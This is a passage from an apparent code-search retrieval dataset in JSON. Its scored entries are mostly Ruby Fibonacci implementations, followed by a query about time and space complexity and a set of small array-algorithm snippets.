"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "adc281f3fad70fdb78134c50765022c9",
"score": "0.7792725",
"text": "def fibonacci(n)\n return 1 if n == 1 || n == 2\n f1 = 1\n f2 = 1\n tmp = 0\n (3..n).each do |i|\n tmp = f1\n f1 = f2\n f2 = tmp + f2\n end\n\n return f2\nend",
"title": ""
},
{
"docid": "f4524f8bbc76ad612155c3ab373afe70",
"score": "0.7791964",
"text": "def fibs_sum(n) \n return 0 if n == 0 \n return 1 if n == 1\n\n fibs_sum(n-1) + fibs_sum(n-2) + 1\nend",
"title": ""
},
{
"docid": "4fc6a11d5d95f3b89f999de5ad4103b4",
"score": "0.7786859",
"text": "def fib(n)\n return 1 if n == 0\n return 1 if n == 1\n\n fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "aafdca006cf165c73b8dd36bfc4b88b1",
"score": "0.7781751",
"text": "def fib(n)\n \n return 1 if n == 0\n return 1 if n == 1\n fi = [1, 1]\n \n for i in 2..n do\n fi << fi[i-1] + fi[i-2]\n end\n \n return fi[n]\n \nend",
"title": ""
},
{
"docid": "8150e1e107ced3a2d9228e0b513d7bdb",
"score": "0.7779788",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n\n fibs = [0,1]\n\n 2.upto(n) do |i|\n fibs << fibs[-2] + fibs[-1]\n end\n\n fibs[-1]\nend",
"title": ""
},
{
"docid": "a55284d0663e77267d3670ab19243b20",
"score": "0.77777743",
"text": "def fibonacci(n)\n f = [0, 1]\n (n-1).times { |_| f << f[-1] + f[-2]}\n f.last\nend",
"title": ""
},
{
"docid": "a55284d0663e77267d3670ab19243b20",
"score": "0.77777743",
"text": "def fibonacci(n)\n f = [0, 1]\n (n-1).times { |_| f << f[-1] + f[-2]}\n f.last\nend",
"title": ""
},
{
"docid": "a612d9bc62859c083dd14a614ad77d49",
"score": "0.7777217",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "b45c5a103a363d69f5959c578ed91d8c",
"score": "0.7775788",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n return fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "ce1b5fffa20f1e7f41463357f05607ae",
"score": "0.77752435",
"text": "def even_fibonacci\n\n sequence = [1,2]\n sequence << sequence[-1]+sequence[-2] while sequence[-1] < 4000000\n sequence.select{|x| x.even?}.sum\n\nend",
"title": ""
},
{
"docid": "4ff012f6ff13484509a791bb53ef6421",
"score": "0.77750653",
"text": "def fibonnaci_iterative (n)\n if n == 1 || n == 2\n return 1\n else\n fib_arr = [1, 1]\n (n-2).times do \n fib_arr << (fib_arr[-1] + fib_arr[-2])\n end\n end\n return fib_arr[-1]\nend",
"title": ""
},
{
"docid": "05596c0b0cbbc183b81cd3f7f81d6616",
"score": "0.77725476",
"text": "def nthFibonacci2(n)\r\n if n == 0\r\n return 0\r\n elsif n == 1\r\n return 1\r\n elsif n == 2\r\n return 1\r\n else n > 2\r\n n = nthFibonacci2(n-1) + nthFibonacci2(n-2)\r\n end\r\nend",
"title": ""
},
{
"docid": "d2ad34717b01726fad6dfdb3c8065036",
"score": "0.77720684",
"text": "def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n fib(n - 2) + fib(n - 1)\nend",
"title": ""
},
{
"docid": "f110e16e95dd694a071afa32a59020c9",
"score": "0.7771058",
"text": "def fib(n) (n<=2) ? 1 : (fib(n-2)+fib(n-1)) end",
"title": ""
},
{
"docid": "5150aa0f7861b6ce13a3dcce35edc15f",
"score": "0.77703303",
"text": "def fib(n)\n return n if n <= 1\n\n return 1 if n == 2\n\n current = 0\n prev1 = 1\n prev2 = 1\n\n # Since range is exclusive and we want to include N,\n # we need to put N+1.\n (4..n + 1).each do |_i|\n current = prev1 + prev2\n prev2 = prev1\n prev1 = current\n end\n\n current\nend",
"title": ""
},
{
"docid": "ba1958a12d523bd63f8d13a97f2ed084",
"score": "0.7766264",
"text": "def fibSeq(n)\n\ta=[0]\t\t\t\t\t\t# O(1)\n\tn.times do |index|\t\t\t\t# O(n)\n\t\tif index==0\t\t\t\t# O(1)\n\t\t\ta[index]=0\t\t\t# O(1)\n\t\telsif index==1\n\t\t\ta[index]=1\n\t\telse\n\t\t\ta[index] = a[index-1] + a[index-2] # O(n+n) \n\t\tend\n\tend\n\n\tputs \"Complete Array: #{a}\"\n\tevens = []\n\ta.each do |n|\n\t\tif n % 2 == 0\n\t\t\tevens.push(n)\n\t\tend\n\tend\n\tputs \"Evens: #{evens}\"\n\tsum = 0\n\tevens.each do |num| sum += num end\n\tputs \"Total: #{sum}\"\n\n\nend",
"title": ""
},
{
"docid": "7f4f304aaeb5ffda126ef01a42453d57",
"score": "0.77631986",
"text": "def fibo(n)\n f = []\n f[0] = 0\n f[1] = 1\n\n i = 2\n\n while i <= n\n f[i] = f[i - 1] + f[i - 2]\n i +=1\n end\n\n f[n]\nend",
"title": ""
},
{
"docid": "8e8646273b141100e9f885680fe6ad32",
"score": "0.77560043",
"text": "def fib(n)\n return 0 if n <= 0\n return 1 if n == 1\n\n return fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "df1d6bcb0d5104d796976e830a8775d7",
"score": "0.775576",
"text": "def fib(n)\n return n if n < 2\n fib(n-2) + fib(n-1)\n end",
"title": ""
},
{
"docid": "6ba0e2df76c297879ff7f345e246d55b",
"score": "0.77526665",
"text": "def fib(n)\n n0 = 0\n n1 = 1\n 0.upto(n-1) do |i|\n naux = n1\n n1 = n0 + n1\n n0 = naux\n end\n return n1\nend",
"title": ""
},
{
"docid": "654a5786a1aff7444a414c0fd3bd7835",
"score": "0.77511543",
"text": "def fib(n)\n if n == 1 || n == 2\n return 1\n end\n return fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "30b71d4f1c20cb8fb7f84c81aa7e0f52",
"score": "0.7749027",
"text": "def fibonaci(n)\n return 0 if n == 0\n return 1 if n == 1\n return fibonaci(n - 1) + fibonaci(n - 2) if n > 1\nend",
"title": ""
},
{
"docid": "1fcf99d23f1f1a07055b51b5472b5143",
"score": "0.77485764",
"text": "def Fibonacci(n)\n a =0\n b = 1\n sum = 0\n while b <= n\n a, b = b, a+b\n if b % 2 == 0\n sum += b\n end\n end\nreturn sum\nend",
"title": ""
},
{
"docid": "0c21347b9df4ec22a88bc2b29e1a422e",
"score": "0.7747809",
"text": "def fib(n)\n n.times.each_with_object([0,1]) { |num, obj| obj << obj[-2] + obj[-1] }\nend",
"title": ""
},
{
"docid": "34ec33aaacf21efa07bd5eb88d298d4c",
"score": "0.774377",
"text": "def fibs_sum(n)\n return 0 if n == 0\n return 1 if n == 1\n fibs_sum(n-1) + fibs_sum(n-2) + 1\nend",
"title": ""
},
{
"docid": "9c2886f86e410088e345f5d9e06d7b09",
"score": "0.7742097",
"text": "def fib(n)\n\n return nil if n == 0\n return 0 if n == 1\n\n fib_0 = 0\n fib_1 = 1\n\n i = 1\n while i < n - 1\n temp = fib_0\n fib_0 = fib_1\n\n fib_1 = temp + fib_0\n i += 1\n end\n return fib_1\nend",
"title": ""
},
{
"docid": "77090993d9967b3e2595692d5abbdc4c",
"score": "0.77396184",
"text": "def fibs_sum(n)\n return 0 if n == 0\n return 1 if n == 1\n\n fibs_sum(n-1) + fibs_sum(n-2) + 1\nend",
"title": ""
},
{
"docid": "948d2931d942b23308a483f0c55609fb",
"score": "0.7738874",
"text": "def fibo2(n)\n f = []\n f[0] = 0\n f[1] = 1\n\n i = 2\n\n while i <= n\n f[i] = f[i - 1] + f[i - 2]\n i +=1\n end\n\n f[n]\nend",
"title": ""
},
{
"docid": "7ef8fbc4c59ee7a6c68972f8d7b501b7",
"score": "0.7736062",
"text": "def fib(n)\n\tif n == 0\n\t\t0\n\telsif n == 1\n\t\t1\n\telse\n\t\tfib(n-1) + fib(n-2)\n\tend\nend",
"title": ""
},
{
"docid": "96c2389222727db5597474bc4b8161cd",
"score": "0.77341926",
"text": "def slow_fib(n)\n n <= 1 ? n : slow_fib(n - 1) + slow_fib(n - 2)\nend",
"title": ""
},
{
"docid": "428f5e7890ac3277b6419b4c44c10d9f",
"score": "0.77309823",
"text": "def fibs_sum(n)\n return 0 if n == 0\n return 1 if n == 1\n fibs_sum(n - 1) + fibs_sum(n - 2) + 1\nend",
"title": ""
},
{
"docid": "428f5e7890ac3277b6419b4c44c10d9f",
"score": "0.77309823",
"text": "def fibs_sum(n)\n return 0 if n == 0\n return 1 if n == 1\n fibs_sum(n - 1) + fibs_sum(n - 2) + 1\nend",
"title": ""
},
{
"docid": "240ec1c964fae3c428dab6f6484135ed",
"score": "0.77280754",
"text": "def fibs(n)\n fib = [0,1]\n n.times {fib << fib[-1] + fib[-2]}\n return fib[n]\nend",
"title": ""
},
{
"docid": "09b0a6e2c67a3c929dc7d0c7eca15b7e",
"score": "0.7727612",
"text": "def fib_it(n)\n\treturn n if n < 2\n\tfibNow = 0\n\tfibNxt = 1\n\tn.times do |j|\n\t\tfibNow, fibNxt = fibNxt, fibNow + fibNxt\n\tend\n\treturn fibNow\nend",
"title": ""
},
{
"docid": "787a7f561e0ee7cf8294b3d86a958481",
"score": "0.77275324",
"text": "def fib(n)\n return 1 if n == 1 or n == 0\n return fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "4e737ea205a0393623af6d421af30425",
"score": "0.7724618",
"text": "def fib(n)\n if n <= 2\n 1\n else\n fib(n-2) + fib(n-1)\n end\nend",
"title": ""
},
{
"docid": "adea38e812f1edb03d37675f4caf24b5",
"score": "0.7724382",
"text": "def fib(n)\n if n == 1 || n == 2\n return 1\n end\n return fib(n-2) + fib(n-1)\nend",
"title": ""
},
{
"docid": "e750a28f614058a3967f693dec41513f",
"score": "0.7723582",
"text": "def fibo(n)\n\t\tif n <= 1\n\t\t\treturn n\n\t\telse \n\t\t\tvaloare = fibo(n-1) + fibo(n-2)\n\t\t\treturn valoare\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4180a23bc6abfd402ee525fc6b1167ea",
"score": "0.7723181",
"text": "def fibs_sum(n)\n return 0 if n == 0\n return 1 if n == 1\n fibs_sum(n - 1) + fibs_sum(n - 2) + 1\nend",
"title": ""
},
{
"docid": "f05db7eb77e833496461ebebd08d785c",
"score": "0.7721296",
"text": "def fib(n)\n if n < 0\n return nil\n end\n\n if n == 0\n return 0\n end\n\n values = []\n 0.upto(n) do |num|\n if num == 0\n values << 0\n elsif num <= 2\n values << 1\n else\n values << values[num-1] + values[num-2]\n end\n end\n\n return values.last\nend",
"title": ""
},
{
"docid": "b92c059ab1899a0dad37309104036188",
"score": "0.77211434",
"text": "def fib(n)\n return 1 if n == 1\n return 1 if n == 2\n fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "2d0000c0e9ead54bb5236b693213ac1e",
"score": "0.7720451",
"text": "def fibs_sum(n)\nend",
"title": ""
},
{
"docid": "2d0000c0e9ead54bb5236b693213ac1e",
"score": "0.7720451",
"text": "def fibs_sum(n)\nend",
"title": ""
},
{
"docid": "4e36a5398183382f538951aa9e5c48d7",
"score": "0.77197814",
"text": "def fib(n)\n return 1 if n <= 2\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "482e2317947f7778f81f6540da4d14fa",
"score": "0.7715148",
"text": "def fibonacci(n)\n a = 1\n b = 1\n\n # 1.upto(n) do\n # i = 1\n # while(i <= n)\n # for i in 1..n do\n n.times do\n temp = a\n a = b\n b = temp + b\n end\n a\nend",
"title": ""
},
{
"docid": "32e271aad8461915d07871c4a8de1e44",
"score": "0.7713732",
"text": "def find_nth_fib(n)\n return \"n must be greater than 0\" if n < 0\n\n a = 0\n b = 1\n\n n.times do\n temp = a\n a = b\n b = temp + a\n end\n\n return a\nend",
"title": ""
},
{
"docid": "0cc06fbb67800556e5a45072fc9fa324",
"score": "0.77126765",
"text": "def fib(n)\n return 1 if n == 1\n return 1 if n == 2\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "6a928f753dfcb6123bf584bdd856729e",
"score": "0.7712665",
"text": "def fib(n)\n\tif n==0\n\t\treturn 0\n\tend\n\tif n==1 or n==2\n\t\treturn 1\t\n\tend \n\t\n\tx = 1\n\ty = 1\n\tcount = 3\n\twhile count<=n do\n\t\tx = x+y\n\t\ty = y+x\n\t\tcount += 2\n\tend\n\t\n\tif (n%2)==0\n\t\treturn y\n\telse\n\t\treturn x\n\tend\nend",
"title": ""
},
{
"docid": "d55b9bfdd31886e914c010ed1452680b",
"score": "0.7708455",
"text": "def fibs(n)\n return 1 if n == 0 or n == 1 \n fibs(n-2) + fibs(n-1)\nend",
"title": ""
},
{
"docid": "03127e40d1915e44d507b44b0f61d60a",
"score": "0.77076435",
"text": "def fib(n)\n if n == 1\n return 0\n end\n if n == 2\n return 1\n else\n return fib(n-1) + fib(n-2)\n end\nend",
"title": ""
},
{
"docid": "0f6d849ac02e04770d3b88c7acfa75d1",
"score": "0.7707296",
"text": "def fib2(n)\n\treturn 0 if n == 0\n\treturn 1 if n == 1\n\n\t# dynamically build a cache from which next values depend on\n\tnums = [0, 1]\n\n\t(2..n).each do |idx|\n\t\tel = nums[idx - 1] + nums[idx - 2]\n\n\t\tnums << el\n\tend\n\n\tnums[-1]\nend",
"title": ""
},
{
"docid": "d64391b03a5eed8190163dd06a772ead",
"score": "0.770672",
"text": "def fibo(n)\n\treturn n if n == 0 || n == 1\n\tx, y, z, i = 1, 1, 1, 2\n\twhile i < n\n\t\ti += 1\n\t\tz = x + y\n\t\tx = y\n\t\ty = z\n\tend\n\treturn z\nend",
"title": ""
},
{
"docid": "8f94be4701abd6840e4c9e786608fb55",
"score": "0.77063346",
"text": "def fib(n)\n return 1 if n.between?(1, 2)\n\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "37493e890ddf1ae0ec0c6ba2bd1df30c",
"score": "0.7706014",
"text": "def fib(n)\n if n == 1 || n == 2\n return 1\n end\n fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "0337f0445380a68b38de331b20d1044b",
"score": "0.77012056",
"text": "def fib(n)\n if n == 0\n 0\n elsif n == 1\n 1\n else\n fib(n-1) + fib(n-2)\n end\nend",
"title": ""
},
{
"docid": "0337f0445380a68b38de331b20d1044b",
"score": "0.77012056",
"text": "def fib(n)\n if n == 0\n 0\n elsif n == 1\n 1\n else\n fib(n-1) + fib(n-2)\n end\nend",
"title": ""
},
{
"docid": "6dafa99498db2fbd71adadaaccc50bd3",
"score": "0.7701032",
"text": "def fib(n)\n return 1 if n == 1 || n == 2\n return fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "d4d0202ce04e2c94f40aded39d1500d5",
"score": "0.7698164",
"text": "def fib(n)\n if n <= 2\n 1\n else\n fib(n - 2) + fib(n - 1)\n end\nend",
"title": ""
},
{
"docid": "a3cf1e913bbfdf0cd6065857c27401ab",
"score": "0.7697695",
"text": "def fib(n)\n\treturn 1 unless n > 1\n\t(fib (n - 2)) + (fib (n - 1))\nend",
"title": ""
},
{
"docid": "e42783eef9dd46b894baed1c1b701698",
"score": "0.7696182",
"text": "def ApproachingFibonacci(arr)\n order = arr.inject(:+)\n fib = [0, 1]\n\n while fib[-1] < order\n fib << fib[-1] + fib[-2]\n end\n\n fib[-1] - order\nend",
"title": ""
},
{
"docid": "cc04124ee5fb169b5fdfe0cd32abfd3d",
"score": "0.76961666",
"text": "def fib_iterative(n)\n return 0 if n == 0\n return 1 if n == 1\n\n a, b = 0, 1\n\n 2.upto(n) do |i|\n a, b = b, a + b\n end\n\n b\nend",
"title": ""
},
{
"docid": "e63b045581b31da42eda76d365f34a97",
"score": "0.7692236",
"text": "def fibonacci(n)\n\tfibs = []\n\tn1 = 0\n\tn2 = 1 \n\twhile n1 < n\n\t\tfibs << n1 if n1.even?\n\t\tn1,n2 = n2, n1+n2\n\tend\n\tfibs.inject(:+)\nend",
"title": ""
},
{
"docid": "c1df068f33a8cedcde332eeb7aa5063c",
"score": "0.76905596",
"text": "def fib(n)\n # Base cases\n return 1 if n == 1 || n == 2\n return 0 if n == 0\n\n return fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "e39a0976e192d23c249a284c9e591d9a",
"score": "0.76904035",
"text": "def fib(n)\n if n <= 1\n return n\n end \n return fib(n-1) + fib(n-2) \nend",
"title": ""
},
{
"docid": "18c79f0ba6618c41af878974deac54c4",
"score": "0.7687637",
"text": "def fib(n)\n return 1 if n <= 2\n fib(n-1) + fib( n-2)\nend",
"title": ""
},
{
"docid": "07fb1cd164f0b8b749945510073b7e60",
"score": "0.76871526",
"text": "def fib(n)\n \treturn n if n < 2\n \tfib(n-1) + fib(n-2)\n end",
"title": ""
},
{
"docid": "8601b12a89c3030b0ae37335d93d6cb2",
"score": "0.7686791",
"text": "def fibonacci(n)\n if !n || n < 0\n raise ArgumentError, \"Negative numbers and nil not permitted\"\n end\n\n if n == 0\n return 0\n else\n i = 0\n j = 1\n while n > 0\n temp = i\n i = j\n j += temp\n n -= 1\n end\n end\n return i\nend",
"title": ""
},
{
"docid": "0fdec2083d726a9412a8f09e836f4eb5",
"score": "0.7686651",
"text": "def fibs(n)\n return 1 if n == 1\n return 2 if n == 2\n fibs(n - 1) + fibs(n - 2)\nend",
"title": ""
},
{
"docid": "022906f3bbad016d9333356caeda1226",
"score": "0.76859796",
"text": "def fib(n)\n if n <= 1\n return n\n end\n return fib(n-1) + fib(n-2)\nend",
"title": ""
},
{
"docid": "1927906ba628eda85aaf735a7d8b3577",
"score": "0.7685574",
"text": "def fib_recursive(n)\r\n if n<2\r\n 1\r\n else\r\n fib_recursive(n-2) + fib_recursive(n-1)\r\n end\r\nend",
"title": ""
},
{
"docid": "8f2190b8cca4e6785178a6985ca64e66",
"score": "0.76848245",
"text": "def find_fib(n)\n\tif n == 0 || n == 1\n\t\treturn n\n\n\tprev = 1\n\tprev_prev = 0\n\n\tn.times do |index|\n\t\tcurrent = prev + prev_prev\n\t\tprev = prev_prev\n\t\tprev_prev = current\n\tend\n\n\treturn current\nend\n\nfind_fib()",
"title": ""
},
{
"docid": "23d6b9da15501600f63234e3fb6a36c1",
"score": "0.76846576",
"text": "def fib_times(n)\n (n-1).times.each_with_object([0,1]) { |num, obj| obj << obj[-2] + obj[-1] }.last\n end",
"title": ""
},
{
"docid": "6638505057b7e13cf4da57b7f50228d8",
"score": "0.7683671",
"text": "def fib(n)\n return 1 if n == 1 || n == 2\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "6638505057b7e13cf4da57b7f50228d8",
"score": "0.7683671",
"text": "def fib(n)\n return 1 if n == 1 || n == 2\n fib(n - 1) + fib(n - 2)\nend",
"title": ""
},
{
"docid": "84de7bf53185bc9b287f707e967ac4b7",
"score": "0.76827055",
"text": "def fib(n)\n # set fib_0 to 0\n fib_0 = 0\n # set fib_1 to 1\n fib_1 = 1\n # for each value from 0 to n-1\n (0..n-1).each do |temp|\n # set temp to fib_0\n temp = fib_0\n # assign fib_1 to fib_0\n fib_0 = fib_1\n # compute temp + fib_1, assign to fib_1\n fib_1 = temp + fib_1\n # end for loop\n end\n # return fib_1\n return fib_1\nend",
"title": ""
},
{
"docid": "68a9e74c90574843f5b23bc9a50a182e",
"score": "0.767993",
"text": "def fib(n)\n return 1 if(n==0)\n return 2 if(n==1)\n return (fib(n-1) + fib(n-2))\nend",
"title": ""
},
{
"docid": "ddc1f170955441fa41d0ffb657907b3c",
"score": "0.7677031",
"text": "def fibonacci(n)\n if n.nil?\n raise ArgumentError.new(\"Input cannot be nil\")\n end\n\n if n < 0\n raise ArgumentError.new(\"Input cannot be negative\")\n end\n\n return 0 if n == 0\n return 1 if n == 1\n\n first = 0\n second = 1\n result = 0\n for i in 2..n\n result = first + second\n first = second\n second = result\n end\n\n return result\nend",
"title": ""
},
{
"docid": "18e4c9793204621b831485c43f2f8e80",
"score": "0.76763415",
"text": "def fib_iterative(n)\n return 0 if n <= 0\n return 1 if n == 1\n previous = [0, 1]\n for i in (2..n) do\n sum = previous.inject(:+)\n previous.push(sum)\n previous.shift\n end\n sum\nend",
"title": ""
}
] |
b866bd8c40a2a20fb52826feea82f245 | Time complexity: O(n)? Space complexity: O(n)? | [
{
"docid": "b170a7c19ee6e2841e22114dcbfeef19",
"score": "0.0",
"text": "def digit_match(n, m)\n n_dig = n.digits\n m_dig = m.digits\n \n min = [n_dig.length, m_dig.length].min\n \n return 0 if (n_dig.length == 1 || m_dig.length == 1) && (n_dig[0] != m_dig[0])\n return 1 if (n_dig.length == 1 || m_dig.length == 1) && (n_dig[0] == m_dig[0])\n \n if n_dig[0] == m_dig[0]\n n = n_dig[1..(min - 1)].join.reverse.to_i\n m = m_dig[1..(min - 1)].join.reverse.to_i\n return 1 + digit_match(n, m)\n else\n n = n_dig[1..(min - 1)].join.reverse.to_i\n m = m_dig[1..(min - 1)].join.reverse.to_i\n return digit_match(n, m)\n end\n end",
"title": ""
}
] | [
{
"docid": "5944c445a0d5d1383cd670cc84d3fc3b",
"score": "0.6753821",
"text": "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend",
"title": ""
},
{
"docid": "2481cbf165330db256eee896a32c82e4",
"score": "0.6531693",
"text": "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend",
"title": ""
},
{
"docid": "7162724e546ffdbc8fc6c70b8171ea5c",
"score": "0.6527142",
"text": "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend",
"title": ""
},
{
"docid": "5997275b749023c7c7dc4440454f2270",
"score": "0.6362824",
"text": "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend",
"title": ""
},
{
"docid": "f4137edea4a7492e793e2bae2c232724",
"score": "0.62937516",
"text": "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend",
"title": ""
},
{
"docid": "6d05663b17256adbb9564a477bb6f93c",
"score": "0.6281342",
"text": "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend",
"title": ""
},
{
"docid": "0c1db2a9da6373389b2b5790af95ae07",
"score": "0.6119532",
"text": "def third_anagram?(str1, str2)\n beginning_time = Time.now\n str1.split(\"\").sort == str2.split(\"\").sort #O(nlogn)\n \"Time complexity of first_anagram: #{(Time.now - beginning_time)}\"\nend",
"title": ""
},
{
"docid": "492e936526ebfbffbc3c3b62f458936f",
"score": "0.6064442",
"text": "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend",
"title": ""
},
{
"docid": "ae5862ea00cac28acf298bd13187f3bf",
"score": "0.6054637",
"text": "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend",
"title": ""
},
{
"docid": "91fb28d5aefdaf076348568b5c2ae6f5",
"score": "0.60328543",
"text": "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend",
"title": ""
},
{
"docid": "91ffbaab10094eb21cd05e4275343694",
"score": "0.6007678",
"text": "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend",
"title": ""
},
{
"docid": "500edb8b87052ccb888165ac1d221113",
"score": "0.6002709",
"text": "def fibonacci(n)\n return fib_helper([0, 1], 2, n)\n # if you'd like to test what i THINK is an O(1) space complexity solution.....\n # i did run this through the tests and it SHOULD work:\n # return faster_fib_helper([0, 1], 2, n)\nend",
"title": ""
},
{
"docid": "6e33c10b282141992a38f8fd30d5a452",
"score": "0.60024005",
"text": "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend",
"title": ""
},
{
"docid": "1aac635bc730afb7dd151ad142cbd1df",
"score": "0.5998995",
"text": "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend",
"title": ""
},
{
"docid": "9e620a41aa357221f8d5c17d26101086",
"score": "0.5998048",
"text": "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend",
"title": ""
},
{
"docid": "365dd8a504169196d1034e8fe4f489cb",
"score": "0.59874505",
"text": "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend",
"title": ""
},
{
"docid": "dfb5be4032827a2af66bc204b4eca26c",
"score": "0.5986926",
"text": "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend",
"title": ""
},
{
"docid": "90497aa50e05e44f68c467f8b91a743a",
"score": "0.5977594",
"text": "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend",
"title": ""
},
{
"docid": "f36ae726d24d63caab0a0f19ef9925bc",
"score": "0.5972986",
"text": "def seesaw?(arr)\n left_sum = 0\n arr.each_index do |i| #O(n)\n if i > 0\n left_sum = arr[0...i].reduce(:+) #O(n)\n end\n if i < arr.size-1\n right_sum = arr[i+1..-1].reduce(:+); #O(n)\n else\n right_sum = 0\n end\n if left_sum == right_sum\n return true\n end\n end\n return false\nend",
"title": ""
},
{
"docid": "614280f7922bfbaa90687d8ed917a389",
"score": "0.5937513",
"text": "def my_min_2(array)#O(n)\n array.inject do |acc, ele|#O(n)\n if acc < ele\n acc\n else\n ele\n end\n end\nend",
"title": ""
},
{
"docid": "d5affcafa6becf4eafa33961cf4ec24e",
"score": "0.5927032",
"text": "def my_min_2(nums) # O(n)\n smallest = 0\n nums.each do |num|\n smallest = num if num < smallest\n end\n smallest\nend",
"title": ""
},
{
"docid": "993d2eb5ff5d55be0267c483d0ebb7a3",
"score": "0.5885934",
"text": "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend",
"title": ""
},
{
"docid": "03e08b1b2be9f1297b1ec11948e1c7c7",
"score": "0.58708835",
"text": "def main\n\n sum = 0\n\n (0..999).each do |i|\n sum += check(i)\n end\n\n puts \"Total - O(n) #{sum}\"\n\n # Needed to refresh following: https://en.wikipedia.org/wiki/Arithmetic_progression\n sum2 = sum_multiples(3, 1000) + sum_multiples(5, 1000) - sum_multiples(15, 1000)\n\n # Refreshed Big O too : http://stackoverflow.com/questions/487258/plain-english-explanation-of-big-o \n puts \"Total - O(1) #{sum2}\"\n\nend",
"title": ""
},
{
"docid": "80d2f9b82bfbacb75f63a7203330e7be",
"score": "0.58697593",
"text": "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend",
"title": ""
},
{
"docid": "1a4e811024ca5fb8d43e1f082573b9dd",
"score": "0.5869163",
